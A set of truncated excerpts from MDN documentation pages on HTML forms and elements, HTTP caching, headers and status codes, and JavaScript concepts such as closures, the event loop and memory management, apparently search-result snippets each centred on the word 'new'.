...nt document's designmode. for it to work in internet explorer, the contenteditable attribute of the body tag needs to be set to "true". figure 2 : first example html: <body contenteditable="true" onload="load()"> javascript: function load(){ window.document.designmode = "on"; } example 2 the second example is a simple rich text editing page, where text can be bolded/italicized/underlined,
new links can be added and the color of text changed. the example page consists of an iframe, which will be the rich editing area, as well as elements for basic editing commands such as bold/italics/text color. figure 3 : setting up rich-text editing html: <body onload="load()"> javascript: function load(){ getiframedocument("editorwindow").designmode = "on"; } function getiframedocument(aid){ ...
...itle 5 <h5></option> <option value="h6">subtitle <h6></option> <option value="p">paragraph <p></option> <option value="pre">preformatted <pre></option> </select> <select onchange="formatdoc('fontname',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- font -</option> <option>arial</option> <option>arial black</option> <option>courier
new</option> <option>times
new roman</option> </select> <select onchange="formatdoc('fontsize',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- size -</option> <option value="1">very small</option> <option value="2">a bit small</option> <option value="3">normal</option> <option value="4">medium-large</option> <option value="5">big</option> <option value="6">v...
Constraint validation - Developer guides
the creation of web forms has always been a complex task. while marking up the form itself is easy, checking whether each field has a valid and coherent value is more difficult, and informing the user about the problem may become a headache. html5 introduced
new mechanisms for forms: it added
new semantic types for the <input> element and constraint validation to ease the work of checking the form content on the client side. basic, usual constraints can be checked, without the need for javascript, by setting
new attributes; more complex constraints can be tested using the constraint validation api. for a basic introduction to these concepts, with examples, see the form validation tutorial. note: html5 constraint validation doesn't remove the need for validation on the server side. e...
...eger number of months week an integer number of weeks datetime, datetime-local, time an integer number of seconds range, number an integer minlength text, search, url, tel, email, password; also on the <textarea> element an integer length the number of characters (code points) must not be less than the value of the attribute, if non-empty. all
newlines are normalized to a single character (as opposed to crlf pairs) for <textarea>. tooshort constraint violation maxlength text, search, url, tel, email, password; also on the <textarea> element an integer length the number of characters (code points) must not exceed the value of the attribute. toolong constraint violation constraint validation process constraint...
... if (constraint.test(zipfield.value)) { // the zip follows the constraint, we use the constraintapi to tell it zipfield.setcustomvalidity(""); } else { // the zip doesn't follow the constraint, we use the constraintapi to // give a message about the format required for this country zipfield...
Introduction to HTML5 - Developer guides
some html5 features remain unsupported by some browsers. however, gecko, and by extension, firefox, has very good support for html5, and work continues toward supporting more of its features. gecko began supporting some html5 features in version 1.8.1. you can find a list of all of the html5 features that gecko currently supports on the main html5 page. ...
...ring that the document contains html5 mark-up with the html5 doctype the doctype for html5 is very simple. to indicate that your html content uses html5, simply use: <!doctype html> doing so will cause even browsers that don't presently support html5 to enter into standards mode, which means that they'll interpret the long-established parts of html in an html5-compliant way while ignoring the
new features of html5 they don't support. this is much simpler than the former doctypes, and shorter, making it easier to remember and reducing the amount of bytes that must be downloaded. declaring the character set with the <meta charset> the first thing done on a page is usually indicating the character set that is used. in previous versions of html, it was done using a very complex <meta> elem...
...s different from what they had anticipated. also, if you are not currently using utf-8, it's recommended that you switch to it in your web pages, as it simplifies character handling in documents using different scripts. note that html5 restricts character sets to those compatible with ascii and using at least 8 bits. this was done to tighten security and prevent some types of attacks. using the
new html5 parser the parsing rules of html5, which analyze the meaning of mark-up, have been more precisely defined in html5. until the introduction of html5, only the meaning of valid mark-up was defined, meaning that as soon as one small error was made in the mark-up (most websites have at least one), the behavior was undefined. essentially, it meant that all browsers behaved differently, which is...
Using HTML sections and outlines - Developer guides
on"> does not suggest any meaning about its content to a browser; only a human reading the html source can divine the meaning of a class like navigation. by contrast, the <nav> sectioning element more clearly describes to browsers and other devices the content contained: links or other navigational structures to help users move through and understand where they are in a site's or page's content.
new semantic elements were added to html5 to improve and clarify the sectioning of websites into meaningful areas of content. it is important for developers to use these semantic elements in line with their intended purposes. many accessibility tools as well as reader views provided by some browsers rely on semantic sectioning elements. so don't simply swap out an existing tangle of <div> elements fo...
...amming language commonly used to create interactive effects within web browsers.</p> <p><a href="https://goo.gl/koeeaj">how to enable javascript?</a></p> </noscript> note: this code will also cause the html validator to return errors. this isn't a really bad thing neccessarily — sites will often have a few validation errors — but it's something to be aware of still. ...
...ew validation errors — but it's something to be aware of still. conclusion the
new semantic elements introduced in html5 bring the ability to describe the structure of a web document in a standard way. they bring a big advantage for people having html5 browsers and needing the structure to help them understand the page, for instance people needing the help of some assistive technology. these
new semantic elements are simple to use and, with very few burdens, can be made to work also in non-html5 browsers. therefore they should be used without restrictions. ...
Index - Developer guides
tags and summary 1 developer guides api, guide, landing, web these articles provide how-to information to help make use of specific web technologies and apis. 2 ajax ajax, dom, json, javascript, references, xmlhttprequest asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "
new" approach to using a number of existing technologies together 3 community ajax if you know of useful mailing lists,
newsgroups, forums, or other communities related to ajax, please link to them here. 4 getting started ajax, api, advanced, javascript, webmechanics, xmlhttprequest this article guides you through the ajax basics and gives you some simple han...
...s, on a server. on this page you'll find a complete list of all of the apis provided by the full web technology stack. 29 index guide, index found 31 pages: 30 introduction to web development beginner, css, codingscripting, development, html, javascript, web whether you're just getting started with web development, or are just expanding your horizons into
new realms of web awesomeness, the links here should help you get started. 31 localizations and character encodings character encodings, html, localization, needsmarkupwork browsers process text as unicode internally. however, a way of representing characters in terms of bytes (character encoding) is used for transferring text over the network to the browser. the html specificati...
... information for anyone needing more detailed information on the underlying technologies. relevant apis and events include touch events, pointer lock api, screen orientation api, fullscreen api, drag & drop and more. 43 writing forward-compatible websites css, compatibility, dom, html, javascript, web development this page explains how to write websites that do not break when
new browser versions are released. this is especially important for intranets and other non-public websites; if we can't see your code, we can't see that it broke. it's not always possible to follow all of these, but following as many of them as possible will help future-proof your website. ...
Parsing and serializing XML - Developer guides
specific portions of an xml document, and locating xml nodes based on those addresses. creating an xml document using one of the following approaches to create an xml document (which is an instance of document. ...
... if the document is html, the code shown above will return...
...etostring() method. use the following approaches to serialize the contents of the xml document you created in the previous section. serializing dom trees to strings first, create a dom tree as described in how to create a dom tree. alternatively, use a dom tree obtained from xmlhttprequest. to serialize the dom tree doc into xml text, call xmlserializer.serializetostring(): var oserializer =
new xmlserializer(); var sxml = oserializer.serializetostring(doc); serializing html documents if the dom you have is an html document, you can serialize using serializetostring(), but there is a simpler option: just use the element.innerhtml property (if you want just the descendants of the specified node) or the element.outerhtml property if you want the node and all its descendants. var dochtml...
The HTML autocomplete attribute - HTML: Hypertext Markup Language
fix or title, such as "mrs.", "mr.", "miss", "ms.", "dr.", or "mlle.". "given-name" the given (or "first") name. "additional-name" the middle name. "family-name" the family (or "last") name. "honorific-suffix" the suffix, such as "jr.", "b.sc.", "phd.", "mbasw", or "iv". "nickname" a nickname or handle. "email" an email address. "username" a username or account name. "
new-password" a
new password. when creating a
new account or changing passwords, this should be used for an "enter your
new password" or "confirm
new password" field, as opposed to a general "enter your current password" field that might be present. this may be used by the browser both to avoid accidentally filling in an existing password and to offer assistance in creating a secure password (see al...
... "current-password" the user's current password. "one-time-code" a one-time code used for verifying user identity. "organization-title" a job title, or the title a person has within an organization, such as "senior technical writer", "president", or "assistant troop leader". ...
...urrency", of the transaction, for a payment form. "language" a preferred language, given as a valid bcp 47 language tag. "bday" a birth date, as a full date. "bday-day" the day of the month of a birth date. "bday-month" the month of the year of a birth date. "bday-year" the year of a birth date. "sex" a gender identity (such as "female", "fa'afafine", "male"), as freeform text without
newlines. "tel" a full telephone number, including the country code. if you need to break the phone number up into its components, you can use these values for those fields: "tel-country-code" the country code, such as "1" for the united states, canada, and other areas in north america and parts of the caribbean. "tel-national" the entire phone number without the country code component, i...
Block-level elements - HTML: Hypertext Markup Language
html (hypertext markup language) elements historically were categorized as either "block-level" elements or "inline-level" elements. by default, a block-level element occupies the entire space of its parent element (container), thereby creating a "block." this article helps to explain what this means. browsers typically display the block-level element with a
newline both before and after the element. you can visualize them as a stack of boxes. a block-level element always starts on a
new line and takes up the full width available (stretches out to the left and right as far as it can). the following example demonstrates the block-level element's influence: block-level elements html <p>this paragraph is a block-level element; its background has been colored to display the paragr...
...line there are a couple of key differences between block-level elements and inline elements: content model generally, block-level elements may contain inline elements and (sometimes) other block-level elements. inherent in this structural distinction is the idea that block elements create "larger" structures than inline elements. default formatting by default, block-level elements begin on
new lines, but inline elements can start anywhere in a line. the distinction of block-level vs. inline elements was used in html specifications up to 4.01. in html5, this binary distinction is replaced with a more complex set of content categories. while the "inline" category roughly corresponds to the category of phrasing content, the "block-level" category doesn't directly correspond to any html5...
...he "block-level" category doesn't directly correspond to any html5 content category, but "block-level" and "inline" elements combined together correspond to the flow content in html5. there are also additional categories, e.g. interactive content. elements the following is a complete list of all html "block-level" elements (although "block-level" is not technically defined for elements that are
new in html5). <address> contact information. <article> article content. <aside> aside content. <blockquote> long ("block") quotation. <details> disclosure widget. <dialog> dialog box. <dd> describes a term in a description list. <div> document division. <dl> description list. <dt> description list term. <fieldset> field set label. <figcaption> figure caption. <figure> gr...
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
ill be loaded. this tells the browser to request cross-origin access when trying to download the image data. starting the download the code that starts the download (say, when the user clicks a "download" button), looks like this: function startdownload() { let imageurl = "https://cdn.glitch.com/4c9ebeb9-8b9a-4adc-ad0a-238d9ae00bb5%2fmdn_logo-only_color.svg?1535749917189"; downloadedimg =
new image; downloadedimg.crossorigin = "anonymous"; downloadedimg.addeventlistener("load", imagereceived, false); downloadedimg.src = imageurl; } we're using a hard-coded url here (imageurl), but that could easily come from anywhere. to begin downloading the image, we create a
new htmlimageelement object by using the image() constructor. the image is then configured to allow cross-origin downl...
...ttribute to "anonymous" (that is, allow non-authenticated downloading of the image cross-origin). an event listener is added for the load event being fired on the image element, which means the image data has been received. finally, the image's src attribute is set to the url of the image to download; this triggers the download to begin. ...
...dedimg, 0, 0); imagebox.appendchild(canvas); try { localstorage.setitem("saved-image-example", canvas.todataurl("image/png")); } catch(err) { console.log("error: " + err); } } imagereceived() is called to handle the "load" event on the htmlimageelement that receives the downloaded image. this event is triggered once the downloaded data is all available. it begins by creating a
new <canvas> element that we'll use to convert the image into a data url, and by getting access to the canvas's 2d drawing context (canvasrenderingcontext2d) in the variable context. the canvas's size is adjusted to match the received image, then the image is drawn into the canvas using drawimage(). the canvas is then inserted into the document so the image is visible. now it's time to actually sav...
<element>: The Custom Element element (Obsolete) - HTML: Hypertext Markup Language
note: this element has been removed from the specification. see this for more information from the editor of the specification. content categories transparent content. permitted content ??? tag omission none, both the starting and ending tag are mandatory. permitted parent elements ??? dom interface htmlelement attributes this element includes the global attributes. ...
... see also web components: <content>, <shadow>, <slot>, and <template> ...
... see also web components: <content>, <shadow>, <slot>, and <template> ...
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
the resource open modal windows. allow-orientation-lock: lets the resource lock the screen orientation. allow-pointer-lock: lets the resource use the pointer lock api. allow-popups: allows popups (such as window.open(), target="_blank", or showmodaldialog()). if this keyword is not used, the popup will silently fail to open. allow-popups-to-escape-sandbox: lets the sandboxed document open
new windows without those windows inheriting the sandboxing. for example, this can safely sandbox an advertisement without forcing the same restrictions upon the page the ad links to. allow-same-origin: if this token is not used, the resource is treated as being from a special origin that always fails the same-origin policy. allow-scripts: lets the resource run scripts (but not create popup windo...
...document has the same origin as the embedding page, it is strongly discouraged to use both allow-scripts and allow-same-origin, as that lets the embedded document remove the sandbox attribute — making it no more secure than not using the sandbox attribute at all. sandboxing is useless if the attacker can display content outside a sandboxed iframe — such as if the viewer opens the frame in a
new tab. such content should be also served from a separate origin to limit potential damage. the sandbox attribute is unsupported in internet explorer 9 and earlier. src the url of the page to embed. use a value of about:blank to embed an empty page that conforms to the same-origin policy. also note that programatically removing an <iframe>'s src attribute (e.g. via element.removeattribute...
...romium-based browsers, and safari/ios. srcdoc inline html to embed, overriding the src attribute. if a browser does not support the srcdoc attribute, it will fall back to the url in the src attribute. width the width of the frame in css pixels. default is 300. deprecated attributes these attributes are deprecated and may no longer be supported by all user agents. you should not use them in
new content, and try to remove them from existing content. align the alignment of this element with respect to the surrounding context. frameborder the value 1 (the default) draws a border around this frame. the value 0 removes the border around this frame, but you should instead use the css property border to control <iframe> borders. longdesc a url of a long description of the frame's...
<input type="color"> - HTML: Hypertext Markup Language
u'll have to convert them to hexadecimal before setting the value. tracking color changes as is the case with other <input> types, there are two events that can be used to detect changes to the color value: input and change. input is fired on the <input> element every time the color changes. the change event is fired when the user dismisses the color picker. in both cases, you can determine the
new value of the element by looking at its value. here's an example that watches changes over time to the color value: colorpicker.addeventlistener("input", updatefirst, false); colorpicker.addeventlistener("change", watchcolorpicker, false); function watchcolorpicker(event) { document.queryselectorall("p").foreach(function(p) { p.style.color = event.target.value; }); } selecting the val...
... picker): validation a color input's value is considered to be invalid if the user agent is unable to convert the user's input into seven-character lower-case hexadecimal notation. if and when this is the case, the :invalid pseudo-class is applied to the element. example let's create an example which does a little more with the color input by tracking the change and input events to take the
new color and apply it to every <p> element in the document. html the html is fairly straightforward — a couple of paragraphs of descriptive material with an <input> of type color with the id colorwell, which we'll use to change the color of the paragraphs' text. <p>an example demonstrating the use of the <code><input type="color"></code> control.</p> <label for="colorwell">color:</lab...
...ct() to select the text content of the color input if the control is implemented as a text field (this has no effect if a color picker interface is provided instead). reacting to color changes we provide two functions that deal with color changes. the updatefirst() function is called in response to the input event. it changes the color of the first paragraph element in the document to match the
new value of the color input. since input events are fired every time an adjustment is made to the value (for example, if the brightness of the color is increased), these will happen repeatedly as the color picker is used. function updatefirst(event) { var p = document.queryselector("p"); if (p) { p.style.color = event.target.value; } } when the color picker is dismissed, indicating that...
<input type="month"> - HTML: Hypertext Markup Language
fter { position: absolute; content: '✓'; padding-left: 5px; } javascript the javascript code that handles selecting which approach to use and to set up the list of years to include in the non-native year <select> follows. the part of the example that may be of most interest is the feature detection code. in order to detect whether the browser supports <input type="month">, we create a
new <input> element, try setting its type to month, then immediately check what its type is set to. browsers that don't support type month will return text, since that's what month falls back to when not supported. if <input type="month"> is not supported, we hide the native picker and show the fallback picker ui instead. // define variables var nativepicker = document.queryselector('.nativedatepick...
...cument.queryselector('.nativedatepicker'); var fallbackpicker = document.queryselector('.fallbackdatepicker'); var fallbacklabel = document.queryselector('.fallbacklabel'); var yearselect = document.queryselector('#year'); var monthselect = document.queryselector('#month'); // hide fallback initially fallbackpicker.style.display = 'none'; fallbacklabel.style.display = 'none'; // test whether a
new date input falls back to a text input or not var test = document.createelement('input'); try { test.type = 'month'; } catch (e) { console.log(e.description); } // if it does, run the code inside the if() {} block if(test.type === 'text') { // hide the native picker and show the fallback nativepicker.style.display = 'none'; fallbackpicker.style.display = 'block'; fallbacklabel.style.
...you'll need to take this into considerat...
<template>: The Content Template element - HTML: Hypertext Markup Language
the browser supports the html template element by checking // for the presence of the template element's content attribute. ...
...} the result is the original html tabl...
...ert it into the table var clone2 = template.content.clonenode(true); td = clone2.queryselectorall("td"); td[0].textcontent = "0384928528"; td[1].textcontent = "acme kidney beans 2"; tbody.appendchild(clone2); } else { // find another way to add the rows to the table because // the html template element is not supported. } the result is the original html table, with two
new rows appended to it via javascript: table { background: #000; } table td { background: #fff; } avoiding documentfragment pitfall a documentfragment is not a valid target for various events, as such it is often preferable to clone or refer to the elements within it. consider the following html and javascript: html <div id="container"></div> <template id="template"> <div>click me</...
HTTP caching - HTTP
al of the technical resources included and linked from each web pages: javascript and css files change infrequently, but when they change you want them to be updated quickly. web developers invented a technique that steve souders called revving[1]. infrequently updated files are named in a specific way: in their url, usually in the filename, a revision (or version) number is added. that way each
new revision of this resource is considered as a resource on its own that never changes and that can have an expiration time very far in the future, usually one year or even more. in order to have the
new versions, all the links to them must be changed, that is the drawback of this method: additional complexity that is usually taken care of by the tool chain used by web developers. when the infrequen...
...time very far in the future, usually one year or even more. in order to have the
new versions, all the links to them must be changed, that is the drawback of this method: additional complexity that is usually taken care of by the tool chain used by web developers. when the infrequently variable resources change they induce an additional change to often variable resources. when these are read, the
new versions of the others are also read. this technique has an additional benefit: updating two cached resources at the same time will not lead to the situation where the out-dated version of one resource is used in combination with the
new version of the other one. this is very important when web sites have css stylesheets or js scripts that have mutual dependencies, i.e., they depend on each othe...
...ines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server. when a cache receives a request that can be satisfied by a cached response that has a vary header field, it must not use that cached response unless all header fields as nominated by the vary header match in both the original (cached) request and the
new request. this can be useful for serving content dynamically, for example. when using the vary: user-agent header, caching servers should consider the user agent when deciding whether to serve the page from cache. if you are serving different content to mobile users, it can help you to avoid that a cache may mistakenly serve a desktop version of your site to your mobile users. in addition, it c...
HTTP conditional requests - HTTP
he resource has not changed, the server sends back a 304 not modified response. this makes the cache fresh again, and the client uses the cached resource. although there is a response/request round-trip that consumes some resources, this is more efficient than to transmit the whole resource over the wire again. if the resource has changed, the server just sends back a 200 ok response, with the
new version of the resource, like if the request wasn't conditional and the client uses this
new resource (and caches it). besides the setting of the validators on the server side, this mechanism is transparent: all browsers manage a cache and send such conditional requests without any special work to be done by web developers. integrity of a partial download partial downloading of files is a fu...
...ows to store remote resources needs such a mechanism. common web sites, like wikis and other cms, have such a need. with the put method you are able to implement this. the client first reads the original files, modifies them, and finally pushes them to the server: unfortunately, things get a little inaccurate as soon as we take into account concurrency. while a client is locally modifying its
new copy of the resource, a second client can fetch the same resource and do the same on its copy. what happens next is very unfortunate: when they commit back to the server, the modifications from the first client are discarded by the next client push, as this second client is unaware of the first client's changes to the resource. the decision on who wins, is not communicated to the other party. whi...
...ersion of the resource, are rejected: this is implemented using the if-match or if-unmodified-since headers. if the etag doesn't match the original file, or if the file has been modified since it has been obtained, the change is simply rejected with a 412 precondition failed error. it is then up to the client to deal with the error: either by notifying the user to start again (this time on the
newest version), or by showing the user a diff of both versions, helping them decide which changes they wish to keep. dealing with the first upload of a resource the first upload of a resource is an edge case of the previous. like any update of a resource, it is subject to a race condition if two clients try to perform at the similar times. to prevent this, conditional requests can be used: by addi...
HTTP headers - HTTP
by its value. whitespace before the value is ignored. custom proprietary headers have historically been used with an x- prefix, but this convention was deprecated in june 2012 because of the inconveniences it caused when nonstandard fields became standard in rfc 6648; others are listed in an iana registry, whose original content was defined in rfc 4229. iana also maintains a registry of proposed
new http headers. headers can be grouped according to their contexts: general headers apply to both requests and responses, but with no relation to the data transmitted in the body. request headers contain more information about the resource to be fetched, or about the client requesting the resource. response headers hold additional information about the response, like its location or about the...
...e-match use this value to change the behavior of the request. if-match makes the request conditional, and applies the method only if the stored resource matches one of the given etags. if-none-match makes the request conditional, and applies the method only if the stored resource doesn't match any of the given etags. this is used to update caches (for safe requests), or to prevent to upload a
new resource when one already exists. if-modified-since makes the request conditional, and expects the entity to be transmitted only if it has been modified after the given date. this is used to transmit data only when the cache is out of date. if-unmodified-since makes the request conditional, and expects the entity to be transmitted only if it has not been modified after the given date. this en...
...y exists. if-modified-since makes the request conditional, and expects the entity to be transmitted only if it has been modified after the given date. this is used to transmit data only when the cache is out of date. if-unmodified-since makes the request conditional, and expects the entity to be transmitted only if it has not been modified after the given date. this ensures the coherence of a
new fragment of a specific range with previous ones, or to implement an optimistic concurrency control system when modifying existing documents. vary determines how to match request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server. connection management connection controls whether the network connection stays open after the curr...
An overview of HTTP - HTTP
images and videos). the web browser then mixes these resources to present to the user a complete document, the web page. scripts executed by the browser can fetch more resources in later phases and the browser updates the web page accordingly. a web page is a hypertext document. this means some parts of displayed text are links which can be activated (usually by a click of the mouse) to fetch a
new web page, allowing the user to direct their user-agent and navigate through the web. the browser translates these directions in http requests, and further interprets the http responses to present the user with a clear response. the web server on the opposite side of the communication channel, is the server, which serves the document as requested by the client. a server appears as only a single ...
... to different resources) logging (allowing the storage of historical information) basic aspects of http http is simple http is generally designed to be simple and human readable, even with the added complexity introduced in http/2 by encapsulating http messages into frames. http messages can be read and understood by humans, providing easier testing for developers, and reduced complexity for
newcomers. http is extensible introduced in http/1.0, http headers make this protocol easy to extend and experiment with.
new functionality can even be introduced by a simple agreement between a client and a server about a
new header's semantics. http is stateless, but not sessionless http is stateless: there is no link between two requests being successively carried out on the same connection. t...
...l. this is useful not only for e-commerce shopping baskets, but also for any site allowing user configuration of the output. http flow when a client wants to communicate with a server, either the final server or an intermediate proxy, it performs the following steps: open a tcp connection: the tcp connection is used to send a request, or several, and receive an answer. the client may open a
new connection, reuse an existing connection, or open several tcp connections to the servers. send an http message: http messages (before http/2) are human-readable. with http/2, these simple messages are encapsulated in frames, making them impossible to read directly, but the principle remains the same. for example: get / http/1.1 host: developer.mozilla.org accept-language: fr read the respon...
Protocol upgrade mechanism - HTTP
the http/1.1 protocol provides a special mechanism that can be used to upgrade an already established connection to a different protocol, using the upgrade header field. this mechanism is optional; it cannot be used to insist on a protocol change. implementations can choose not to take advantage of an upgrade even if they support the
new protocol, and in practice, this mechanism is used mostly to bootstrap a websockets connection. note also that http/2 explicitly disallows the use of this mechanism; it is specific to http/1.1. upgrading http/1.1 connections the upgrade header field is used by clients to invite the server to switch to one of the listed protocols, in descending preference order. because upgrade is a hop-by-hop header, it also needs to be listed in the connection header fi...
...ils. if the server decides to upgrade the connection, it sends back a 101 switching protocols response status with an upgrade header that specifies the protocol(s) being switched to. if it does not (or cannot) upgrade the connection, it ignores the upgrade header and sends back a regular response (for example, a 200 ok). right after sending the 101 status code, the server can begin speaking the
new protocol, performing any additional protocol-specific handshakes as necessary. effectively, the connection becomes a two-way pipe as soon as the upgraded response is complete, and the request that initiated the upgrade can be completed over the
new protocol. common uses for this mechanism here we look at the most common use cases for the upgrade header. upgrading to a websocket connection by ...
...hat initiated the upgrade can be completed over the
new protocol. common uses for this mechanism here we look at the most common use cases for the upgrade header. upgrading to a websocket connection by far, the most common use case for upgrading an http connection is to use websockets, which are always implemented by upgrading an http or https connection. keep in mind that if you're opening a
new connection using the websocket api, or any library that does websockets, most or all of this is done for you. for example, opening a websocket connection is as simple as: websocket =
new websocket("ws://destination.server.ext", "optionalprotocol"); the websocket() constructor does all the work of creating an initial http/1.1 connection then handling the handshaking and upgrade process for you. ...
HTTP response status codes - HTTP
e success depends on the http method: get: the resource has been fetched and is transmitted in the message body. head: the entity headers are in the message body. put or post: the resource describing the result of the action is transmitted in the message body. trace: the message body contains the request message as received by the server 201 created the request has succeeded and a
new resource has been created as a result. this is typically the response sent after post requests, or some put requests. 202 accepted the request has been received but not yet acted upon. it is noncommittal, since there is no way in http to later send an asynchronous response indicating the outcome of the request. it is intended for cases where another process or server handles the request, or for...
... available from the origin server, but is collected from a local or a third-party copy. this is mostly used for mirrors or backups of another resource. except for that specific case, the "200 ok" response is preferred to this status. 204 no content there is no content to send for this request, but the headers may be useful. the user-agent may update its cached headers for this resource with the
new ones. 205 reset content tells the user-agent to reset the document which sent this request. 206 partial content this response code is used when the range header is sent from the client to request only part of a resource. 207 multi-status (webdav) conveys information about multiple resources, for situations where multiple status codes might be appropriate. 208 already reported (webdav) use...
... the current instance. redirection messages 300 multiple choice the request has more than one possible response. the user-agent or user should choose one of them. (there is no standardized way of choosing one of the responses, but html links to the possibilities are recommended so the user can pick.) 301 moved permanently the url of the requested resource has been changed permanently. the
new url is given in the response. 302 found this response code means that the uri of requested resource has been changed temporarily. further changes in the uri might be made in the future. therefore, this same uri should be used by the client in future requests. 303 see other the server sent this response to direct the client to get the requested resource at another uri with a get request. 304 ...
Closures - JavaScript
or use, and "mozilla" is passed to alert. here's a slightly more interesting example—a makeadder function: function makeadder(x) { return function(y) { return x + y; }; } var add5 = makeadder(5); var add10 = makeadder(10); console.log(add5(2)); // 7 console.log(add10(2)); // 12 in this example, we have defined a function makeadder(x), that takes a single argument x, and returns a
new function. the function it returns takes a single argument y, and returns the sum of x and y. in essence, makeadder is a function factory. it creates functions that can add a specific value to their argument. in the above example, the function factory creates two
new functions—one that adds five to its argument, and one that adds 10. add5 and add10 are both closures. they share the same functi...
...age', 'help': 'your age (you must be over 16)'} ]; for (var i = 0; i < helptext.length; i++) { var item = helptext[i]; document.getelementbyid(item.id).onfocus = makehelpcallback(item.help); } } setuphelp(); run the code using this jsfiddle link. this works as expected. rather than the callbacks all sharing a single lexical environment, the makehelpcallback function creates a
new lexical environment for each callback, in which help refers to the corresponding string from the helptext array. one other way to write the above using anonymous closures is: function showhelp(help) { document.getelementbyid('help').innerhtml = help; } function setuphelp() { var helptext = [ {'id': 'email', 'help': 'your e-mail address'}, {'id': 'name', 'help': 'your full name'...
... document.getelementbyid(text.id).onfocus = function() { showhelp(text.help); } }); } setuphelp(); performance considerations it is unwise to unnecessarily create functions within other functions if closures are not needed for a particular task, as it will negatively affect script performance both in terms of processing speed and memory consumption. for instance, when creating a
new object/class, methods should normally be associated to the object's prototype rather than defined into the object constructor. the reason is that whenever the constructor is called, the methods would get reassigned (that is, for every object creation). consider the following case: function myobject(name, message) { this.name = name.tostring(); this.message = message.tostring(); this.getna...
Concurrency model and the event loop - JavaScript
to be processed. each message has an associated function which gets called in order to handle the message. at some point during the event loop, the runtime starts handling the messages on the queue, starting with the oldest one. to do so, the message is removed from the queue and its corresponding function is called with the message as an input parameter. as always, calling a function creates a
new stack frame for that function's use. the processing of functions continues until the stack is once again empty. then, the event loop will process the next message in the queue (if there is one). event loop the event loop got its name because of how it's usually implemented, which usually resembles: while (queue.waitformessage()) { queue.processnextmessage() } queue.waitformessage() waits s...
...eue, and the stack is empty, the message is processed right after the delay. however, if there are messages, the settimeout message will have to wait for other messages to be processed. for this reason, the second argument indicates a minimum time—not a guaranteed time. ...
...ocessed. for this reason, the second argument indicates a minimum time—not a guaranteed time. here is an example that demonstrates this concept (settimeout does not run immediately after its timer expires): const s =
new date().getseconds(); settimeout(function() { // prints out "2", meaning that the callback is not called immediately after 500 milliseconds. console.log("ran after " + (
new date().getseconds() - s) + " seconds"); }, 500) while (true) { if (
new date().getseconds() - s >= 2) { console.log("good, looped for 2 seconds") break; } } zero delays zero delay doesn't actually mean the call back will fire-off after zero milliseconds. calling settimeout with a delay of 0 (zero) milliseconds doesn't execute the callback function after the given interval. the exe...
Control flow and error handling - JavaScript
ere */ } falsy values the following values evaluate to false (also known as falsy values): false undefined null 0 nan the empty string ("") all other values—including all objects—evaluate to true when passed to a conditional statement. caution: do not confuse the primitive boolean values true and false with the true and false values of the boolean object! for example: var b =
new boolean(false); if (b) // this condition evaluates to true if (b == true) // this condition evaluates to false example in the following example, the function checkdata returns true if the number of characters in a text object is three. otherwise, it displays an alert and returns false. function checkdata() { if (document.form1.threechar.value.length == 3) { return true; } els...
...block. // create an object type userexception function userexception(message) { this.message = message; this.name = 'userexception'; } // make the exception convert to a pretty string when used as a string // (e.g., by the error console) userexception.prototype.tostring = function() { return `${this.name}: "${this.message}"`; } // create an instance of the object type and throw it throw
new userexception('value too high'); try...catch statement the try...catch statement marks a block of statements to try, and specifies one or more responses should an exception be thrown. if an exception is thrown, the try...catch statement catches it. the try...catch statement consists of a try block, which contains one or more statements, and a catch block, containing statements that specify wha...
...a more succinct message than one would get by converting the error object to a string. if you are throwing your own exceptions, in order to take advantage of these properties (such as if your catch block doesn't discriminate between your own exceptions and system ones), you can use the error constructor. ...
Introduction - JavaScript
« previousnext » this chapter introduces javascript and discusses some of its fundamental concepts. what you should already know this guide assumes you have the following basic background: a general understanding of the internet and the world wide web (www). good working knowledge of hypertext markup language (html). some programming experience. if you are
new to programming, try one of the tutorials linked on the main page about javascript. where to find javascript information the javascript documentation on mdn includes the following: learn web development provides information for beginners and introduces basic concepts of programming and the internet. javascript guide (this guide) provides an overview about the javascript language and its objects. javascri...
... find javascript information the javascript documentation on mdn includes the following: learn web development provides information for beginners and introduces basic concepts of programming and the internet. javascript guide (this guide) provides an overview about the javascript language and its objects. javascript reference provides detailed reference material for javascript. if you are
new to javascript, start with the articles in the learning area and the javascript guide. once you have a firm grasp of the fundamentals, you can use the javascript reference to get more details on individual objects and statements. what is javascript? javascript is a cross-platform, object-oriented scripting language used to make webpages interactive (e.g., having complex animations, clickable but...
...ufacturers association) to deliver a standardized, international programming language based on javascript. this standardized version of javascript, called ecmascript, behaves the same way in all applications that support the standard. companies can use the open standard language to develop their implementation of javascript. the ecmascript standard is documented in the ecma-262 specification. see
new in javascript to learn more about different versions of javascript and ecmascript specification editions. the ecma-262 standard is also approved by the iso (international organization for standardization) as iso-16262. you can also find the specification on the ecma international website. the ecmascript specification does not describe the document object model (dom), which is standardized by the...
Memory Management - JavaScript
or the array and // contained values var a = [1, null, 'abra']; function f(a) { return a + 2; } // allocates a function (which is a callable object) // function expressions also allocate an object someelement.addeventlistener('click', function() { someelement.style.backgroundcolor = 'blue'; }, false); allocation via function calls some function calls result in object allocation. var d =
new date(); // allocates a date object var e = document.createelement('div'); // allocates a dom element some methods allocate
new values or objects: var s = 'azerty'; var s2 = s.substr(0, 3); // s2 is a
new string // since strings are immutable values, // javascript may decide to not allocate memory, // but just store the [0, 3] range. var a = ['ouais ouais', 'nan nan']; var a2 = ['generation', ...
... using values using values basically means reading and writing in allocated memory. this can be done by reading or writing the value of a variable or an object property or even passing an argument to a function. ...
...// x references y y.a = x; // y references x return 'azerty'; } f(); real-life example internet explorer 6 and 7 are known to have reference-counting garbage collectors for dom objects. cycles are a common mistake that can generate memory leaks: var div; window.onload = function() { div = document.getelementbyid('mydivelement'); div.circularreference = div; div.lotsofdata =
new array(10000).join('*'); }; in the above example, the dom element "mydivelement" has a circular reference to itself in the "circularreference" property. if the property is not explicitly removed or nulled, a reference-counting garbage collector will always have at least one reference intact and will keep the dom element in memory even if it was removed from the dom tree. if the dom element holds...
Private class fields - JavaScript
